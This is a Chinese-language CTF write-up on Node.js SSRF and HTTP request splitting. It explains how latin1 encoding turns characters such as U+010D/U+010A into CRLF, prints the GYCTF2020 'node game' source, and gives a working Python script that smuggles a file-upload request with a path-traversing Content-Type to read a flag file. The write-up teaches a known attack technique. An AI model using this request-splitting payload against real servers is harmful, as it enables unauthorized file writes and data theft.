【nodejs中的ssrf】

一、什么是ssrf

二、ssrf 示例

通常可以通过观察参数中是否存在url来判断ssrf

修改成百度的url后会发现百度的搜索按钮出现在了当前页面,这里访问的百度,实际是通过服务器访问的,而不是本地

三、通过拆分请求实现是ssrf利用

复制代码
// 示例:中文字符"中" (Unicode: 0x4E2D)
const chineseChar = "中";  // UTF-16: 0x4E2D

// 使用latin1编码转换时:
// 原始Unicode: 0x4E2D (二进制: 01001110 00101101)
// latin1只能处理单字节,所以:
// 截取低字节: 00101101 (0x2D)
// 最终输出: 0x2D (对应ASCII字符"-")
复制代码
v = "/caf\u{E9}\u{01F436}"
// 解码为: "/café🐶"
// 包含:
// - '/'  (U+002F)
// - 'c'  (U+0063)  
// - 'a'  (U+0061)
// - 'f'  (U+0066)
// - 'é'  (U+00E9)  - 拉丁小写字母e带重音
// - '🐶' (U+1F436) - 狗表情符号

// JavaScript字符串内部是UTF-16编码
// "🐶" 在UTF-16中是代理对: 0xD83D 0xDC36
// 内存中存储: [0xD8, 0x3D, 0xDC, 0x36] (4字节)

// Buffer.from(v, 'latin1') 转换规则:
// 对于每个UTF-16码元(16位):
// 1. 只取低8位(最低有效字节)
// 2. 丢弃高8位

// 对于 "🐶" 的转换:
// 第一个码元: 0xD83D → 取低8位: 0x3D (对应ASCII '=')
// 第二个码元: 0xDC36 → 取低8位: 0x36 (对应ASCII '6')

// 步骤3: 解码回字符串
// Buffer中的字节: [0x2F, 0x63, 0x61, 0x66, 0xE9, 0x3D, 0x36]
// 解码为: '/' 'c' 'a' 'f' 'é' '=' '6'

\u010D→ 转换为 UTF-8 字节:C4 8D→ URL 编码:%C4%8D

\u010A→ 转换为 UTF-8 字节:C4 8A→ URL 编码:%C4%8A

复制代码
// Node.js 显示时,自动解码为实际字符
'http://example.com/čĊ/test'
复制代码
// 攻击者构造的恶意 URL
'http://example.com/\u{010D}\u{010A}/test'

// Node.js 8 使用 latin1 编码处理路径
Buffer.from('http://example.com/\u{010D}\u{010A}/test', 'latin1').toString()

// 结果: 'http://example.com/\r\n/test'

截断原理:

Unicode 字符: \u{010D} (č) 和 \u{010A} (Ċ)
十六进制: 0x010D 和 0x010A
二进制: 0000 0001 0000 1101 和 0000 0001 0000 1010

latin1 只保留低8位(一个字节):
\u{010D} → 0x0D → 回车符 \r
\u{010A} → 0x0A → 换行符 \n

四、GYCTF2020 node game

题目中两点地方可以点击,点击第一个可以获取到源码

点击第二个可以进行文件上传,但服务器只允许内网地址上传

先查看源码

java 复制代码
var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path'); // 处理文件路径
var http = require('http');
var pug = require(`pug`); // 模板渲染
var morgan = require('morgan'); // 日志
const multer = require('multer'); // 用于处理multipart/form-data类型的表单数据,实现上传功能;个人一般使用formidable实现上传
 
// 将上传的文件存储在./dist[自动创建]返回一个名为file的文件数组
app.use(multer({dest: './dist'}).array('file'));
// 使用简化版日志
app.use(morgan('short'));
 
// 静态文件路由
app.use("/uploads", express.static(path.join(__dirname, '/uploads')))
app.use("/template", express.static(path.join(__dirname, '/template')))
 
app.get('/', function (req, res) {
    // GET方法获取action参数
    var action = req.query.action ? req.query.action : "index";
    // action中不能包含/  \\
    if (action.includes("/") || action.includes("\\")) {
        res.send("Errrrr, You have been Blocked");
    }
    // 将/template/[action].pug渲染成html输出到根目录
    file = path.join(__dirname + '/template/' + action + '.pug');
    var html = pug.renderFile(file);
    res.send(html);
});
 
app.post('/file_upload', function (req, res) {
    var ip = req.connection.remoteAddress; // remoteAddress无法伪造,因为TCP有三次握手,伪造源IP会导致无法完成TCP连接
    var obj = {msg: '',}
    // 请求必须来自localhost
    if (!ip.includes('127.0.0.1')) {
        obj.msg = "only admin's ip can use it"
        res.send(JSON.stringify(obj));//JSON.stringify()方法用于将JavaScript值转换为JSON字符
        return
    }
    // node.js读取文件 fs.readFile(),一种格式fs.readFile(filePath,{encoding:"utf-8"}, function (err, fr){
    fs.readFile(req.files[0].path, function (err, data) {
        // 判断上传文件合法
        if (err) {
            obj.msg = 'upload failed';
            res.send(JSON.stringify(obj));
        } else {
            // 文件路径为/uploads/[mimetype]/filename,mimetype可以进行目录穿越实现将文件存储至/template并利用action渲染到界面
            var file_path = '/uploads/' + req.files[0].mimetype + "/";
            var file_name = req.files[0].originalname
            var dir_file = __dirname + file_path + file_name
            if (!fs.existsSync(__dirname + file_path)) {
                try {
                    fs.mkdirSync(__dirname + file_path)
                } catch (error) {
                    obj.msg = "file type error";
                    res.send(JSON.stringify(obj));
                    return
                }
            }
            try {
                fs.writeFileSync(dir_file, data)
                obj = {msg: 'upload success', filename: file_path + file_name}
            } catch (error) {
                obj.msg = 'upload failed';
            }
            res.send(JSON.stringify(obj));
        }
    })
})
 
// 查看题目源码
app.get('/source', function (req, res) {
    res.sendFile(path.join(__dirname + '/template/source.txt'));
});
 
// ssrf核心 
app.get('/core', function (req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:8081/source?' + q
        console.log(url)
        // 对url字符进行waf
        var trigger = blacklist(url);
        if (trigger === true) {
            res.send("error occurs!");
        } else {
            try {
                // node对/source发出请求,此处可以利用字符破坏进行切分攻击访问/file_upload路由(❗️此请求发出者为localhost主机),实现对remoteAddress的绕过
                http.get(url, function (resp) {
                    resp.setEncoding('utf8');
                    resp.on('error', function (err) {
                        if (err.code === "ECONNRESET") {
                            console.log("Timeout occurs");
                        }
                    });
                    // 返回结果输出到/core
                    resp.on('data', function (chunk) {
                        try {
                            resps = chunk.toString();
                            res.send(resps);
                        } catch (e) {
                            res.send(e.message);
                        }
                    }).on('error', (e) => {
                        res.send(e.message);
                    });
                });
            } catch (error) {
                console.log(error);
            }
        }
    } else {
        res.send("search param 'q' missing!");
    }
})
 
// 关键字waf 利用字符串拼接实现绕过
function blacklist(url) {
    var evilwords = ["global", "process", "mainModule", "require", "root", "child_process", "exec", "\"", "'", "!"];
    var arrayLen = evilwords.length;
 
    for (var i = 0; i < arrayLen; i++) {
        const trigger = url.includes(evilwords[i]);
        if (trigger === true) {
            return true
        }
    }
}
 
var server = app.listen(8081, function () {
    var host = server.address().address
    var port = server.address().port
    console.log("Example app listening at http://%s:%s", host, port)
})

/:根据 action 选择并渲染 /template/.pug 模板

/source:回显源码文件

/file_upload:上传文件,但限制必须来自 127.0.0.1

/core:拼一个指向内网 localhost:8081 的 URL,http.get() 去请求,再返回响应

复制代码
action 来自 query,且禁止出现 / 和 \,然后用 pug.renderFile() 渲染:
这意味着:只要把一个 .pug 文件放进 /template/ 目录,就能通过 /?action=xxx 让它被渲染并回显

/file_upload:上传点:
它用 req.connection.remoteAddress 判断是否包含 127.0.0.1,不是就直接拒绝
上传后的文件最终写到这个路径:
/uploads/<mimetype>/<originalname>
而 mimetype 是可控输入(从 multipart 的 Content-Type / mimetype 体系里来),于是出现"把 mimetype 写成 ../template 之类"的 目录穿越写文件风险

/core:SSRF 入口(但普通 SSRF 不够)
它把传入的 q 拼到:http://localhost:8081/source? 后面,然后 http.get(url) 发起请求。
里面的黑名单那,字符串拼接可绕过

路径穿越:

复制代码
文件路径的构造:
file_path = '/uploads/' + req.files[0].mimetype + "/",然后 dir_file = __dirname + file_path + originalname,最后 writeFileSync(dir_file, data)。

mimetype 本质上是"来自用户上传元数据"的字符串

程序把它当成 目录名的一部分 直接拼接进路径

如果 mimetype 里带 ../(或其他能被路径解析吃掉的东西),就可能"跳出 uploads 目录",写到任意位置

请求走私:

复制代码
/file_upload 的门禁是 remoteAddress 必须包含 127.0.0.1,外网无法上传

但 /core 里 http.get('http://localhost:8081/source?...') 是服务器自己向内网发起连接(SSRF)。

如果能让这一次 http.get() 的底层请求拆成两段,请求目标仍然是内网服务(同一条 TCP 连接/同一个 host 语义)

可以通过TCP来拆分
TCP 根本不知道什么是"请求"
TCP 只负责:按顺序交付一串字节流
HTTP 服务器是自己在 字节流里找边界 决定哪里是一条请求
只需要同一条 TCP 连接里,塞进了多段"看起来像 HTTP 请求"的字节序列,服务器就会把它们解析成多条请求

在 TCP 层,内网服务器看到的是:
[字节][字节][字节][字节][字节]......

它 不知道:
哪一段是 GET
哪一段是 POST
哪一段是 header
哪一段是 body

它只知道:
客户端又给我发了一些字节

HTTP 服务器的解析逻辑(简化版):
大多数 HTTP 服务器内部逻辑类似:
while (连接未关闭) {
  读取字节
  如果读到:
    请求行 + 请求头 + \r\n\r\n
  那么:
    认为:一条 HTTP 请求头结束了
    → 如果有 Content-Length,再继续读 body
    → 处理该请求
}


HTTP/1.1 里,一条请求是靠这些规则拆的:
请求头结束标志
\r\n\r\n

body 长度
由 Content-Length 决定
或 chunked 编码

拆分的本质是在一条 TCP 字节流里,伪造出了多个 HTTP 请求的结构

GET /source?... HTTP/1.1\r\n
Host: localhost\r\n
\r\n
POST /file_upload HTTP/1.1\r\n
Host: 127.0.0.1\r\n
Content-Length: ...\r\n
\r\n
<POST body>
GET / HTTP/1.1\r\n
\r\n

内网服务器看到的是:
第一段:完整 GET → 处理
紧接着:又来了一个合法的请求行 → 再处理
又来一个 → 再处理

最后末尾补一条 GET 是为了让 HTTP 解析器"优雅地结束",避免连接卡死或请求失败
补一个 GET = "重同步(resync)"
一个最简单、最安全的 HTTP 请求是:
GET / HTTP/1.1\r\n
\r\n

它的作用是:
不带 body
不依赖 Content-Length
请求一结束,解析器就能立刻回到"空闲状态"
相当于对服务器说:
"前面那条 POST 已经结束了,接下来是一个新的、干净的请求"

在文件上传处抓包

对抓取到的文件上传的数据包进行删除Cookie,并将Host、Origin、Referer等改为本地地址、Content-Type改为 .../template 用于目录穿越(注意Content-Length也需要改成变化后的值),然后利用以下脚本:

python 复制代码
import requests
import urllib.parse

payload = ''' HTTP/1.1

POST /file_upload HTTP/1.1
Host: 127.0.0.1
Content-Length: 266
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: 127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytiv5xTGEO0V9ggkc
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: 127.0.0.1/?action=upload
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundarytiv5xTGEO0V9ggkc
Content-Disposition: form-data; name="file"; filename="flgg.pug"
Content-Type: ../template

doctype html
html
  head
    style
      include ../../../../../../../flag.txt
------WebKitFormBoundarytiv5xTGEO0V9ggkc--

GET / HTTP/1.1
test:'''.replace("\n","\r\n")

def payload_encode(raw):
    ret = u""
    for i in raw:
        ret += chr(0x0100+ord(i))
    return ret
    
payload = payload_encode(payload)

print(payload)
r = requests.get('http://f7eab690-f200-4355-91f7-65c6290ed626.node4.buuoj.cn:81/core?q=' + urllib.parse.quote(payload))
print(r.text)

#urllib.parse.quote:URL只允许一部分ASCII字符,其他字符(如汉字)是不符合标准的,此时就要进行编码。

加密也可以用另一种方法

python 复制代码
def payload_encode(raw):
    ret = u""
    for i in raw:
        ret += chr(0x0100+ord(i))
    return ret
    
payload = payload_encode(payload)

↓

payload = payload.replace('\r\n', '\u010d\u010a') \
    .replace('+', '\u012b') \
    .replace(' ', '\u0120') \
    .replace('"', '\u0122') \
    .replace("'", '\u0a27') \
    .replace('[', '\u015b') \
    .replace(']', '\u015d') \
    .replace('`', '\u0127') \
    .replace('"', '\u0122') \
    .replace("'", '\u0a27') \
    .replace('[', '\u015b') \
    .replace(']', '\u015d') \

上传pug成功之后,访问?action=[pug的名字] (好像pug不久就会清除掉)

相关推荐
江城开朗的豌豆2 小时前
TypeScript和JavaScript到底有什么区别?
前端·javascript
鸡吃丸子2 小时前
初识Docker
运维·前端·docker·容器
老华带你飞3 小时前
学生请假管理|基于springboot 学生请假管理系统(源码+数据库+文档)
java·前端·数据库·vue.js·spring boot·后端·spring
前端不太难3 小时前
如何给 RN 项目设计「不会失控」的导航分层模型
前端·javascript·架构
用户4099322502123 小时前
Vue3中v-show如何通过CSS修改display属性控制条件显示?与v-if的应用场景该如何区分?
前端·javascript·vue.js
不会聊天真君6473 小时前
CSS3(Web前端开发笔记第二期)
前端·笔记·css3
discode3 小时前
【开源项目技术分享】@host-navs 站导,一个简洁高效的网站链接导航工具站
前端